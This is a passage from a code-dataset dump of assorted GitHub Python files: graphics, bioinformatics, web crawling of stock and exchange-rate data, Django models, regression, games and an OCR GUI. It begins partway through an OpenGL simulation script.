glUseProgram(compute_program)\n # glBindBuffer(GL_SHADER_STORAGE_BUFFER, ssbo)\n glBindBufferBase(GL_SHADER_STORAGE_BUFFER, ssbo_bindPoint, ssbo)\n glUniform1i(glGetUniformLocation(compute_program, \"numAgents\"), numAgents)\n glUniform1i(glGetUniformLocation(compute_program, \"width\"), width)\n glUniform1i(glGetUniformLocation(compute_program, \"height\"), height)\n glUniform1f(glGetUniformLocation(compute_program, \"deltaTime\"), dt)\n glUniform1f(glGetUniformLocation(compute_program, \"dimStrength\"), dimStrength)\n glDispatchCompute(width, height, 1)\n glMemoryBarrier(GL_SHADER_STORAGE_BARRIER_BIT)\n\n glBindBuffer(GL_SHADER_STORAGE_BUFFER, ssbo)\n # glGetBufferSubData(GL_SHADER_STORAGE_BUFFER, 0, len(npAgentsArray) * sizeof(GLfloat) * 3, npAgentsArray)\n\n glBindFramebuffer(GL_FRAMEBUFFER, 0)\n glViewport(0, 0, lrw, lrh)\n glClear(GL_COLOR_BUFFER_BIT)\n\n error_code = glGetError()\n if error_code != GL_NO_ERROR:\n print(f\"OpenGL error before glUseProgram: {error_code}\")\n\n glUseProgram(shader_program)\n\n error_code = glGetError()\n if error_code != GL_NO_ERROR:\n print(f\"OpenGL error after glUseProgram: {error_code}\")\n\n glBindVertexArray(quad_vao)\n glBindTexture(GL_TEXTURE_2D, trailmap)\n glDrawArrays(GL_TRIANGLES, 0, 6)\n\n # print(delta_time)\n # print(\"Buffer Data:\", np.frombuffer(npAgentsArray, dtype=np.float32))\n\n check_gl_error()\n pg.display.flip()","repo_name":"icantreadmycode/SlimeSim","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":10577,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"52"} +{"seq_id":"18939761271","text":"import sys\nimport os\nimport pandas as pd\nfrom pathlib import Path\nresult = []\nroot = \"../ICEtest/\"\n\nfor file in Path(root).glob(\"*.txt\"):\n df = pd.read_csv(file, sep='\\t', header=None)\n df.columns = ['qseqid', 'sseqid', 'pident', 'length', 'mismatch', 'gapopen', 'qstart', 'qend', 'sstart', 'send', 'evalue', 'bitscore']\n # split(char) splits a string into a list using char as a delimiter\n # list[-1] returns the last entry in a list\n stem = str(file).replace('.txt', '').split('/')[-1]\n rslt_df = df.loc[(df['length']>100)]\n dataff = rslt_df.sort_values(by='length',ascending=False)\n dataff.drop_duplicates(subset =\"qstart\", keep = \"first\",inplace = True)\n dataff1 = dataff.sort_values(by='length',ascending=False)\n dataff1.drop_duplicates(subset =\"qend\", keep = \"first\",inplace = True)\n # creat a directiry\n #os. mkdir(stem)\n #store dataff1 to the created directroy\n #subroot = stem\n #subdir = os.path.join(root, subroot)\n #dataff1.to_csv(os.path.join(subdir, stem+\".csv\"), index=False)\n \n final = dataff1.groupby('sseqid')['length'].sum().sort_values(ascending=False).to_frame(name = 'length').reset_index()\n final1 = final[(final.length >5040)]\n \n \n final1['isolate'] = stem\n \n result.append(final1)\n\nall_result = pd.concat(result)\nall_result.to_csv('processed_ICE_lengths.csv', index=False) \nsys.exit(0)\n\n","repo_name":"MathBioInfo/Integrative-transposon-tn916-E-faecium","sub_path":"process_blast.py","file_name":"process_blast.py","file_ext":"py","file_size_in_byte":1390,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"52"} +{"seq_id":"12508490615","text":"from telemetry.internal.actions import page_action\n\n\nclass ClickElementAction(page_action.PageAction):\n def __init__(self, selector=None, text=None, element_function=None):\n super(ClickElementAction, self).__init__()\n self.selector = selector\n self.text = text\n self.element_function = element_function\n\n def RunAction(self, tab):\n code = '''\n function(element, errorMsg) {\n if (!element) {\n throw Error('Cannot find element: ' + errorMsg);\n }\n element.click();\n }'''\n page_action.EvaluateCallbackWithElement(\n tab, code, selector=self.selector, text=self.text,\n element_function=self.element_function)\n","repo_name":"kiwibrowser/src","sub_path":"third_party/catapult/telemetry/telemetry/internal/actions/javascript_click.py","file_name":"javascript_click.py","file_ext":"py","file_size_in_byte":689,"program_lang":"python","lang":"en","doc_type":"code","stars":2475,"dataset":"github-code","pt":"52"} +{"seq_id":"5129325566","text":"import sys, os\nfrom tqdm import tqdm\n\nsys.path.append(r'E:\\WorkSpaceDucAnh') \nfrom ultils import get_info_txt_with_line_to_list, coppy_file_to_dir\n\n\ndef copy_tif_to_dir_from_txt(fp_txt, dir_contain_image, dir_dest_coppy):\n list_tif_choosen = get_info_txt_with_line_to_list(fp_txt)\n print(list_tif_choosen)\n os.makedirs(dir_dest_coppy, exist_ok=True)\n\n list_fp_tif_choosen = [os.path.join(dir_contain_image, fname) for fname in list_tif_choosen]\n for fp in tqdm(list_fp_tif_choosen, desc='Copping ...'):\n coppy_file_to_dir(fp, dir_dest_coppy)\n print('Done!')\n\n\nif __name__=='__main__':\n fp_txt = 'E:\\WorkSpaceDucAnh\\Tmp\\list_file.txt'\n # dir_contain_image = r'E:\\WorkSpaceSkyMap\\Change_detection_Dubai\\Data_Project\\img2021_2022'\n dir_contain_image = r'Z:\\data_change_detection\\stacked\\stacked'\n dir_dest_coppy = r'E:\\WorkSpaceSkyMap\\Change_detection_Dubai\\DataTraining\\V1\\img'\n copy_tif_to_dir_from_txt(fp_txt, dir_contain_image, dir_dest_coppy)\n\n","repo_name":"anhbn995/GOGOOK","sub_path":"ALL_CODE/WorkSpaceDucAnh/z_Tmp/choosen_image_from_txt.py","file_name":"choosen_image_from_txt.py","file_ext":"py","file_size_in_byte":988,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"52"} +{"seq_id":"6964134215","text":"import pickle\nimport requests\nimport re\nimport os\nimport Importdata as Id\nimport numpy as np\n#import matplotlib.pyplot as plt\nfrom sklearn import datasets, linear_model\nfrom sklearn.metrics import mean_squared_error\n\n'''\nThis file contains some functions you can use to predict scores for players in FPL.\nIt makes use of the Importdata.py file so make sure its in the working directory.\nYou can do a simple fit easily from the terminal or an IDE.\n\nFirst load this file so you can use the functions.\n\n$ import linear_regression as lr\n\nNext, you need to generate or load some examples from the historical data.\ne.g.\n$ filename = \"machine_learning_examples\"\n$ [data, np_examples,np_prediction_set] = lr.import_and_save_examples(filename)\n\nor if you have already saved the data before\n\n$ filename = \"machine_learning_examples\"\n$ [data, np_examples, np_prediction_set] = lr.load_examples(filename)\n\nsee the code for this below.\n'''\ndef import_and_save_examples(filename):\n\t\n\t[data, examples, prediction_set] = Id.generate_examples()\n\tnp_examples = np.array(examples)\n\tnp_prediction_set = np.array(prediction_set)\n\twith open(filename+'.pkl','wb') as f:\n\t\tpickle.dump([data, np_examples,np_prediction_set],f) \n\treturn [data, np_examples,np_prediction_set]\n\ndef load_examples(filename):\n\n\twith open(filename+'.pkl','rb') as f:\n\t\tdata, np_examples, np_prediction_set = pickle.load(f)\n\n\treturn [data, np_examples, np_prediction_set]\n\n'''\nNext we simply perform the linear regression using the sklearn package\nenter\n$ [regr, diff_counts, mean_sq_error] = lr.perform_linear_regression(np_examples)\n'''\n\ndef perform_linear_regression(np_examples):\n\n\t[x_train, y_train, x_test, y_test] = generate_train_test_examples(np_examples)\n\n\tregr = linear_model.LinearRegression()\n\n\tregr.fit(x_train, y_train)\n\n\t[diff_counts, mean_sq_error] = test_model_predictions(regr, x_test, y_test)\n\n\treturn [regr, diff_counts, mean_sq_error]\n\n'''\nNow we are ready to predict next weeks scores.\n\n$ results = lr.predict_next_week(regr, np_prediction_set)\n\nYou can edit the complexity of the model by changing the type of model used\n(see the sklearn website) or adding features to the examples in the 'generate_examples'\nfunction in the Importdata.py file.\n'''\ndef predict_next_week(model,prediction_set):\n\n\ty_pred = model.predict(prediction_set)\n\n\tindex = sorted(range(len(y_pred)), key=lambda k: y_pred[k], reverse=True)\n\tplayer_ids = np.array(index)+1\n\tplayer_scores = np.array(y_pred)\n\tplayer_scores = player_scores[index]\n\n\treturn dictionary(zip(player_ids,player_scores))\n\n'''\nThe scripts below are used by the main scripts to perform the analysis so if you \nfiddle around with them some then stuff above might break!\n'''\n\ndef slice_examples(np_examples, number_examples_required):\n\n\t[row,col] = np_examples.shape\n\n\tnew_order = np.random.permutation(row)\n\n\tshuffled_examples = np_examples[new_order,:]\n\n\treturn shuffled_examples[:number_examples_required,:]\n\ndef generate_train_test_examples(np_examples):\n\n\t[row,col] = np_examples.shape\n\n\tnew_order = np.random.permutation(row)\n\n\tshuffled_examples = np_examples[new_order,:]\n\n\tnumber_for_testing = row//10 + 1\n\n\ty_train = shuffled_examples[:-number_for_testing,0]\n\ty_test = shuffled_examples[-number_for_testing:,0]\n\n\tx_train = shuffled_examples[:-number_for_testing,1:]\n\tx_test = shuffled_examples[-number_for_testing:,1:]\n\n\treturn [x_train, y_train, x_test, y_test]\n\ndef test_model_predictions(model, x_test, y_test):\n\n\ty_pred = model.predict(x_test)\n\n\tdifferences = np.array(y_test-y_pred)\n\n\tabs_diff = np.abs(np.round(differences))\n\n\tmax_diff = int(max(abs_diff))\n\n\tdiffs = list(range(0,max_diff+1))\n\n\tdiff_counts = []\n\n\tfor diff in diffs:\n\t\tdiff_counts.append(len(abs_diff[abs_diff==diff]))\n\n\tmean_sq_error = mean_squared_error(y_test, y_pred)\n\n\treturn [diff_counts, mean_sq_error]\n\ndef test_model(np_examples):\n\n\t[row,col] = np_examples.shape\n\n\ttest_number_step = row//10 + 1\n\n\ttest_numbers = list(range(test_number_step,row,test_number_step))\n\ttest_numbers.append(row)\n\n\tmean_sq_error = []\n\n\tfor number in test_numbers:\n\n\t\ttemp_MSE = []\n\n\t\tfor repeat in range(50):\n\n\t\t\texamples = slice_examples(np_examples,number)\n\n\t\t\t[regr, diff_counts, MSE] = perform_linear_regression(examples)\n\n\t\t\ttemp_MSE.append(MSE)\n\n\t\tmean_sq_error.append(np.mean(temp_MSE))\n\n\t#plt.plot(test_numbers, mean_sq_error)\n\t#plt.show()\n\treturn [test_numbers, mean_sq_error, regr]\n\n\n\n\n\n","repo_name":"H-Cox/FPL","sub_path":"linear_regression.py","file_name":"linear_regression.py","file_ext":"py","file_size_in_byte":4380,"program_lang":"python","lang":"en","doc_type":"code","stars":16,"dataset":"github-code","pt":"52"} +{"seq_id":"13026560408","text":"\n#!python3\n\nfrom importlib import import_module\nimport traceback\n\nfrom common.config import CONNECTOR_MAP\nfrom common.spLogging import logger\nfrom Connectors.azureSQL import AzureSQLConnector\n\ndef main(params: dict) -> dict:\n\n result = {}\n \n try:\n \n azconn = AzureSQLConnector.load_default()\n schema = params['source']\n schema_list = ([schema] if schema else CONNECTOR_MAP.keys())\n action = params['action']\n models = params['model']\n\n if action == 'build':\n result = azconn.create_db(schema_list)\n\n elif action == 'destroy':\n result = azconn.delete_db(schema_list)\n \n elif action =='drop':\n result = azconn.delete_tables(schema,models)\n\n elif action == 'examine':\n for schema in schema_list:\n result[schema] = azconn.plan_changes(schema)\n\n elif action == 'apply':\n for schema in schema_list:\n plan = azconn.plan_changes(schema)\n result[schema] = azconn.apply_changes(plan)\n \n else:\n returnMsg = \"F_db_activity :: Invalid value provided for 'action' parameter: {}\".format(action)\n logger.warning(returnMsg)\n result = returnMsg\n\n except Exception as e:\n returnMsg = 'F_db_activity error :: {}'.format(traceback.print_exc())\n logger.error(returnMsg)\n result = returnMsg\n\n return result\n","repo_name":"kloudkrafts01/kspyder","sub_path":"AzureFunctions/F_db_activity/db_actions.py","file_name":"db_actions.py","file_ext":"py","file_size_in_byte":1451,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"52"} +{"seq_id":"32122351059","text":"# Yêu cầu:\n# 1. nhập vào n\n# 2. in ra n kiểu viết ngược lại\n\nn = int(input())\n\ndu_lieu = str(n) # chuyển từ int sang string\n\nketQua = \"\"\n\nfor i in range(len(du_lieu) - 1, -1, -1):\n ketQua = ketQua + du_lieu[i]\n\ndu_lieu2 = int(ketQua)\n\nprint(f\"{du_lieu2}\")","repo_name":"conggaro/Hoc_Python","sub_path":"Nhập môn khoa học máy tính/Tuần 5/Bài thực hành lập trình tuần 5/Lần 3/cau_hoi_1.py","file_name":"cau_hoi_1.py","file_ext":"py","file_size_in_byte":284,"program_lang":"python","lang":"vi","doc_type":"code","stars":0,"dataset":"github-code","pt":"52"} +{"seq_id":"18698237016","text":"from bauth.models.country import Country\nfrom book_rental.libs.uploader.uploader import Uploader\nfrom logger.models.error_log import ErrorLog\nfrom engine.exceptions.br_exception import BRException\n\n\nclass CountryUploader(Uploader):\n def __init__(self, data=[], *args, **kwargs):\n self.data = data\n self.args = args\n self.kwargs = kwargs\n\n def data_as_list(self):\n if not self.data:\n raise BRException(\"No data found\")\n\n data_list = []\n\n for entry in self.data:\n data_list += [[ entry['name'], entry['alpha2Code'], entry['alpha3Code'] ]]\n return data_list\n\n def handle_upload(self):\n\n print(\"Started...\")\n\n self.data = self.data_as_list()\n\n for row in self.data:\n\n if len(row) != 3:\n error_log = ErrorLog()\n error_log.url = ''\n error_log.stacktrace = 'Invalid format in country upload'\n error_log.save()\n continue\n country_objects = Country.objects.filter(name=row[0], short_name2=row[1], short_name3=row[2])\n if country_objects.exists():\n country_object = country_objects.first()\n else:\n country_object = Country()\n country_object.name = row[0]\n country_object.short_name2 = row[1]\n country_object.short_name3 = row[2]\n country_object.save()\n\n print(\"Ended...\")","repo_name":"codenginebd/obr","sub_path":"book_rental/libs/uploader/country_uploader.py","file_name":"country_uploader.py","file_ext":"py","file_size_in_byte":1474,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"52"} +{"seq_id":"10313671195","text":"# -*- coding: utf-8 -*-\nfrom __future__ import unicode_literals\n\nfrom django.db import models, migrations\n\n\nclass Migration(migrations.Migration):\n\n dependencies = [\n ('sfnform', '0008_auto_20151112_0927'),\n ]\n\n operations = [\n migrations.AddField(\n model_name='metadataform',\n name='aprox_years_growing_seasons_int',\n field=models.IntegerField(default=1),\n preserve_default=False,\n ),\n ]\n","repo_name":"aescobarr/sapfluxnet-form","sub_path":"sfnform/migrations/0009_metadataform_aprox_years_growing_seasons_int.py","file_name":"0009_metadataform_aprox_years_growing_seasons_int.py","file_ext":"py","file_size_in_byte":466,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"52"} +{"seq_id":"28757064219","text":"from django.conf.urls import url\nfrom artists import views\n\nuuid_match = r'(?P[a-f0-9]{8}-[a-f0-9]{4}-[a-f0-9]{4}-[a-f0-9]{4}-[a-f0-9]{12})'\n\nurlpatterns = [\n url(r'^genres$', views.genres, name='artists-genres'),\n url(r'^genre/(?P\\d+)$', views.genre, name='artists-genre'),\n url(r'^search$', views.search, name='artists-search'),\n url(r'^artist/%s$' % (uuid_match), views.artist, name='artists-artist'),\n]\n","repo_name":"andrebola/fonil-web","sub_path":"artists/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":435,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"52"} +{"seq_id":"28535373251","text":"\n# coding: utf-8\n\n\n\nimport sys\nimport requests \nimport pandas as pd\nimport ConfigParser\nimport datetime\nimport csv\nfrom bs4 import BeautifulSoup \nfrom pymongo import MongoClient\nfrom mongoDB import mongoDB\n\n\nclass Crawler:\n \n def __init__(self,collection_name=\"Aggregate-Day\",save_to_all_collection=True):\n self.df = pd.DataFrame()\n self.target_df = pd.DataFrame()\n self.exfeature = pd.DataFrame()\n \n self.config = ConfigParser.ConfigParser()\n self.config.read('config_crawler.ini')\n\n self.now=datetime.datetime.now()\n self.ip_address = self.config.get(\"Server\",\"ip_address\")\n self.from_year = self.config.get(\"Date\",\"from_year\")\n self.from_month = self.config.get(\"Date\",\"from_month\")\n self.from_day = self.config.get(\"Date\",\"from_day\")\n self.to_year=str(self.now.year)\n\n self.collection_name=collection_name\n self.svaetoAll=save_to_all_collection\n \n if(self.now.month<11):\n self.to_month=str(\"0\"+str(self.now.month-1))\n else:\n self.to_month=str(self.now.month-1)\n self.to_day=str(self.now.day-1)\n \n self.mongo = mongoDB(self.ip_address, \"External_factor\")\n \n def date_replace(self,data_list):\n date=str(data_list).replace(\"Jan\",\"01\").replace(\"Feb\",\"02\").replace(\"Mar\",\"03\").replace(\"Apr\",\"04\").replace(\"May\",\"05\").replace(\"Jun\",\"06\") .replace(\"Jul\",\"07\").replace(\"Aug\",\"08\").replace(\"Sep\",\"09\").replace(\"Oct\",\"10\").replace(\"Nov\",\"11\").replace(\"Dec\",\"12\").replace(\",\",\"\")\n return date\n \n def Crawl_rate_exchange(self):\n\n currency_code = self.config.get(\"Exchange_Rate\",\"currency_code\").split(\",\")\n currency = self.config.get(\"Exchange_Rate\",\"currency\").split(\",\")\n index = 0\n for code in currency_code:\n data_list=[]\n doc = {}\n i=0\n count=1\n res = requests.get(\"http://www.exchangerate.com/past_rates.html?letter=&continent=&cid=239-USD¤cy=\"+str(code)+\"&last30=&date_from=\"+str(int(self.from_month)+1)+\"-\"+self.from_day+\"-\"+self.from_year+\"&date_to=\"+str(int(self.to_month)+1)+\"-\"+self.to_day+\"-\"+self.to_year+\"&action=Generate+Chart\")\n soup = BeautifulSoup(res.text.encode(\"utf-8\"), \"html.parser\")\n for texts in soup.findAll(face=\"Arial\",size=\"-1\"):\n data_list.append(texts.text)#data start from index 7 str(data_list[7][5:10])\n i+=1\n if i>=8 :\n if count==1 :\n doc = {\"Month\":int(self.date_replace(str(data_list[i-1][1:4])))}\n doc [\"Day\"]=int(data_list[i-1][5:7])\n doc[\"Year\"]=int(data_list[i-1][8:12])\n count=2\n elif count==2 :\n doc[str(currency[index])+\"/USD\"]=float(str(data_list[i-1]))\n count=3\n elif count==3 :\n doc[\"USD/\"+str(currency[index])]=float(str(data_list[i-1]))\n doc[\"Date\"] = str(doc.get(\"Year\"))+\"-\"+str(doc.get(\"Month\"))+\"-\"+str(doc.get(\"Day\"))\n count=1\n if self.svaetoAll:\n self.mongo.updateIfExist(self.collection_name,{\"Year\":doc.get(\"Year\"),\"Month\":doc.get(\"Month\"),\"Day\":doc.get(\"Day\")},{\"$set\":doc})\n self.mongo.updateIfExist(\"RateExchange-Day\",{\"Year\":doc.get(\"Year\"),\"Month\":doc.get(\"Month\"),\"Day\":doc.get(\"Day\")},{\"$set\":doc})\n else:\n self.mongo.updateIfExist(\"RateExchange-Day\",{\"Year\":doc.get(\"Year\"),\"Month\":doc.get(\"Month\"),\"Day\":doc.get(\"Day\")},{\"$set\":doc})\n #print doc\n doc.clear()\n index +=1\n \n def Crawl_Stock(self):\n company = self.config.get(\"Company_stock\",\"company_code\").split(\",\")\n company_name = self.config.get(\"Company_stock\",\"company_name\").split(\",\")\n \n name=0\n for com in company:\t\n url=\"http://chart.finance.yahoo.com/table.csv?s=\"+com+\"&a=\"+self.from_month+\"&b=\"+self.from_day+\"&c=\"+self.from_year+\"&d=\"+self.to_month+\"&e=\"+self.to_day+\"&f=\"+self.to_year+\"&g=d&ignore=.csv\"\n\n csvFile = requests.get(url)\n output = open('table.csv', 'wb')\n output.write(csvFile.content)\n output.close()\n\n f = open('table.csv', 'r')\n for row in csv.DictReader(f):\n del(row['Open'])\n del(row['High'])\n del(row['Low'])\n del(row['Close'])\n row.setdefault(str(company_name[name])+'-Adj-Close', float(row['Adj Close']))\n del(row['Adj Close'])\n row.setdefault(str(company_name[name])+'-Volume', int(row['Volume']))\n del(row['Volume'])\n d=row[\"Date\"].split(\"-\")\n row[\"Year\"]=int(d[0])\n row[\"Month\"]=int(d[1])\n row[\"Day\"]=int(d[2])\n if self.svaetoAll:\n self.mongo.updateIfExist(self.collection_name,{\"Year\":row.get(\"Year\"),\"Month\":row.get(\"Month\"),\"Day\":row.get(\"Day\")},{\"$set\":row})\n self.mongo.updateIfExist(\"Stock-Day\",{\"Year\":row.get(\"Year\"),\"Month\":row.get(\"Month\"),\"Day\":row.get(\"Day\")},{\"$set\":row})\n else:\n self.mongo.updateIfExist(\"Stock-Day\",{\"Year\":row.get(\"Year\"),\"Month\":row.get(\"Month\"),\"Day\":row.get(\"Day\")},{\"$set\":row})\n f.close()\n name+=1\n \n def Crawl_Index(self):\n company = self.config.get(\"Company_index\",\"company_code\").split(\",\")\n company_name = self.config.get(\"Company_index\",\"company_name\").split(\",\")\n \n name=0\n for com in company:\t\n url=\"http://chart.finance.yahoo.com/table.csv?s=\"+com+\"&a=\"+self.from_month+\"&b=\"+self.from_day+\"&c=\"+self.from_year+\"&d=\"+self.to_month+\"&e=\"+self.to_day+\"&f=\"+self.to_year+\"&g=d&ignore=.csv\"\n\n csvFile = requests.get(url)\n output = open('table.csv', 'wb')\n output.write(csvFile.content)\n output.close()\n\n f = open('table.csv', 'r')\n for row in csv.DictReader(f):\n del(row['Open'])\n del(row['High'])\n del(row['Low'])\n del(row['Close'])\n row.setdefault(str(company_name[name])+'-Adj-Close', float(row['Adj Close']))\n del(row['Adj Close'])\n row.setdefault(str(company_name[name])+'-Volume', int(row['Volume']))\n del(row['Volume'])\n d=row[\"Date\"].split(\"-\")\n row[\"Year\"]=int(d[0])\n row[\"Month\"]=int(d[1])\n row[\"Day\"]=int(d[2])\n if self.svaetoAll:\n self.mongo.updateIfExist(self.collection_name,{\"Year\":row.get(\"Year\"),\"Month\":row.get(\"Month\"),\"Day\":row.get(\"Day\")},{\"$set\":row})\n self.mongo.updateIfExist(\"Index-Day\",{\"Year\":row.get(\"Year\"),\"Month\":row.get(\"Month\"),\"Day\":row.get(\"Day\")},{\"$set\":row})\n else:\n self.mongo.updateIfExist(\"Index-Day\",{\"Year\":row.get(\"Year\"),\"Month\":row.get(\"Month\"),\"Day\":row.get(\"Day\")},{\"$set\":row})\n f.close()\n name+=1 \n \n def Set_Time(self):\n self.config.set(\"Date\",\"from_year\",self.to_year)\n self.config.set(\"Date\",\"from_month\",self.to_month)\n self.config.set(\"Date\",\"from_day\",self.to_day)\n self.config.write(open('Config_crawler.ini', 'wb'))\n \n def Crawl_AllExternal(self):\n self.Crawl_rate_exchange()\n self.Crawl_Index()\n self.Crawl_Stock()\n self.Set_Time()\n \nif __name__ == '__main__':\n cr = Crawler()\n cr.Crawl_AllExternal()\n \n \n\n","repo_name":"AnsenHuang14/WebCrawler","sub_path":"StepwiseFeatureSelectionWithExternalFactorCrawler/Crawler.py","file_name":"Crawler.py","file_ext":"py","file_size_in_byte":7893,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"52"} +{"seq_id":"73804390244","text":"import collections\n\n\nclass solution:\n ans = 0\n def numTilePossible(self, tiles):\n counter = collections.Counter(tiles)\n for i in range(1, len(tiles) + 1):\n self.words(i, counter, '')\n return self.ans\n\n def words(self, length, counter, word):\n if length == len(word):\n self.ans += 1\n return\n\n for k, v in counter.items():\n if v > 0:\n counter[k] -= 1\n self.words(length, counter, word + k)\n counter[k] += 1\n\nobj = solution()\ntiles = \"AABB\"\nprint(obj.numTilePossible(tiles))\n","repo_name":"tanjingjing123/LeetcodeAlgorithms","sub_path":"letterTilePossibles.py","file_name":"letterTilePossibles.py","file_ext":"py","file_size_in_byte":605,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"52"} +{"seq_id":"31152436676","text":"# coding=utf-8\r\n# author = zhouxin\r\n# date = 2017.7.24\r\n\r\n'''\r\n31. Next Permutation\r\nImplement next permutation, which rearranges numbers into the lexicographically next greater permutation of numbers.\r\n\r\nIf such arrangement is not possible, it must rearrange it as the lowest possible order (ie, sorted in ascending order).\r\n\r\nThe replacement must be in-place, do not allocate extra memory.\r\n\r\nHere are some examples. Inputs are in the left-hand column and its corresponding outputs are in the right-hand column.\r\n1,2,3 → 1,3,2\r\n3,2,1 → 1,2,3\r\n1,1,5 → 1,5,1\r\n'''\r\n\r\nclass Solution(object):\r\n def nextPermutation(self, nums):\r\n \"\"\"\r\n :type nums: List[int]\r\n :rtype: void Do not return anything, modify nums in-place instead.\r\n 思路:\r\n 开始的时候没读懂题目,大概意思是说,现在有一个数组,可以看作一个整数 [1,2,3] >> 123 ,\r\n 找到这个数组的下一种排列方式,即形成的整数刚好比原数组大 123 >> 132 这里用了刚好,\r\n 可以理解为, 将 123 随机组合,然后按小到大的顺序排列,找出目前数组下一种排列方式。\r\n 如果该种排列方式形成的数组最大,则输出最小的排列。\r\n\r\n 从后先前遍历数组,如果当前数字索引 i 比下一数字索引 i-1 大,则在 i 之前的数组中寻找 大于 i-1\r\n 但小于 i 的索引 j\r\n 交换 i-1 和 j 的位置\r\n 最后对 i 之后的数从小到大排序\r\n \r\n \"\"\"\r\n if len(nums) < 2 : return\r\n idx = 0\r\n for i in range(len(nums)-1, 0, -1):\r\n if nums[i] > nums[i-1]:\r\n r = self.find_right(nums[i-1], nums[i], i, nums[i+1:])\r\n nums[r], nums[i-1] = nums[i-1], nums[r]\r\n idx = i\r\n break\r\n for i in range(idx,len(nums)):\r\n for j in range(idx, len(nums)-1):\r\n if nums[j+1] < nums[j]:\r\n nums[j+1], nums[j] = nums[j], nums[j+1]\r\n\r\n def find_right(self, left, right, idx, lst):\r\n if not lst:\r\n return idx\r\n suit = right\r\n id = idx\r\n for i in range(len(lst)):\r\n if lst[i] > left and lst[i] < right and lst[i] < suit:\r\n suit = lst[i]\r\n id = idx + i + 1\r\n\r\n return id\r\n\r\nnums = [9,1]\r\ns = Solution()\r\ns.nextPermutation(nums)\r\n","repo_name":"Provinm/leetcode_archive","sub_path":"problems1_100/31_Next_Permutation.py","file_name":"31_Next_Permutation.py","file_ext":"py","file_size_in_byte":2417,"program_lang":"python","lang":"zh","doc_type":"code","stars":0,"dataset":"github-code","pt":"52"} +{"seq_id":"46563352436","text":"from math import pi, sin, cos\nimport sys\nfrom direct.showbase.ShowBase import ShowBase\nfrom direct.task import Task\n \nclass MyApp(ShowBase):\n def __init__(self):\n ShowBase.__init__(self)\n \n \n # Load the environment model.\n self.environ = self.loader.loadModel(\"models/environment\")\n self.environ.reparentTo(self.render)\n self.environ.setScale(0.25, 0.25, 0.25)\n self.environ.setPos(-8, 42, 0)\n\n # Disable default mouse/camera task\n self.disableMouse()\n self.accept(\"w\", self.startMoveForward)\n self.accept(\"w-up\", self.stopMoveForward)\n self.accept(\"a\", self.startMoveLeft)\n self.accept(\"a-up\", self.stopMoveLeft)\n self.accept(\"d\", self.startMoveRight)\n self.accept(\"d-up\", self.stopMoveRight)\n self.accept(\"s\", self.startMoveBack)\n self.accept(\"s-up\", self.stopMoveBack)\n \n self.accept(\"escape\", sys.exit)\n self.taskMgr.add(self.playerControlTask, \"playerControlTask\")\n\n # self.User is a dummy node to attach camera to\n self.Player = render.attachNewNode('Player')\n self.camera.reparentTo(self.Player)\n \n #default movement setting\n self.movingForward = False\n self.movingLeft = False\n self.movingRight = False\n self.movingBack = False\n \n def startMoveForward(self):\n self.movingForward = True\n\n def stopMoveForward(self):\n self.movingForward = False\n\n def startMoveBack(self):\n self.movingBack = True\n\n def stopMoveBack(self):\n self.movingBack = False\n\n def startMoveLeft(self):\n self.movingLeft = True\n \n def stopMoveLeft(self):\n self.movingLeft = False\n\n def startMoveRight(self):\n self.movingRight = True\n \n def stopMoveRight(self):\n self.movingRight = False\n\n\n\n def playerControlTask(self, task):\n \"\"\"\n Handle movement\n constantly move somewhere (or nowhere)\n keydown will trigger movement, keyup will trigger stop\n \n \"\"\" \n if self.movingForward == True:\n self.Player.setPos(self.Player, 0, 0.1, 0)\n if self.movingBack == True:\n self.Player.setPos(self.Player, 0, -0.1, 0)\n if self.movingLeft == True:\n self.Player.setPos(self.Player, -0.1, 0, 0)\n if self.movingRight == True:\n self.Player.setPos(self.Player, 0.1, 0, 0)\n\n return task.cont\n \napp = MyApp()\napp.run()\n","repo_name":"DevDungeon/Cookbook","sub_path":"python/panda3D/camDrivers/camKeyboardDrive.py","file_name":"camKeyboardDrive.py","file_ext":"py","file_size_in_byte":2533,"program_lang":"python","lang":"en","doc_type":"code","stars":301,"dataset":"github-code","pt":"52"} +{"seq_id":"19665585138","text":"# -*- coding: utf-8 -*-\r\n\"\"\"\r\nCreated on Sun Jul 26 18:04:39 2020\r\n\r\n@author: Srinath\r\n\"\"\"\r\n\r\n\r\nfrom tkinter import *\r\nfrom tkinter import filedialog\r\nfrom tkinter import ttk\r\nfrom PIL import Image\r\nimport pytesseract\r\nfrom pytesseract import image_to_string\r\npytesseract.pytesseract.tesseract_cmd = \"C:/Program Files (x86)/Tesseract-OCR/tesseract.exe\"\r\n\r\nfrom handwriting_recognition import pytesseractresult\r\n\r\n\r\nclass PyTextractor:\r\n def __init__(self, master):\r\n self.master = master\r\n master.title(\"Text Extraction\")\r\n master.geometry(\"500x500\")\r\n master.resizable(0, 0)\r\n root.configure(bg='blue4')\r\n\r\n self.select_button = Button(master, text=\"Select Method\")\r\n self.select_button.pack()\r\n self.cmb = ttk.Combobox(master,width=\"15\",values=(\"PyTesseract\", \"PyTextractor\"))\r\n self.cmb.pack()\r\n self.textify_button = Button(master, text=\"Open Image\", command=self.textify)\r\n self.textify_button.pack()\r\n def textify(self):\r\n target = filedialog.askopenfilename()\r\n if self.cmb.get()==\"PyTextractor\":\r\n textinimage = image_to_string(Image.open(target))\r\n else:\r\n textinimage = pytesseractresult((target))\r\n T.insert(END, textinimage)\r\n\r\nroot = Tk()\r\n#root.configure(bg='blue4')\r\nS = Scrollbar(root)\r\nT = Text(root, height=4, width=50)\r\nS.pack(side=RIGHT, fill=Y)\r\nT.pack(side=LEFT, fill=Y)\r\nS.config(command=T.yview)\r\nT.config(yscrollcommand=S.set)\r\n\r\ngraphical = PyTextractor(root)\r\ndef quit():\r\n root.destroy()\r\n\r\nbtn1=ttk.Button(root, text=\"Exit\", 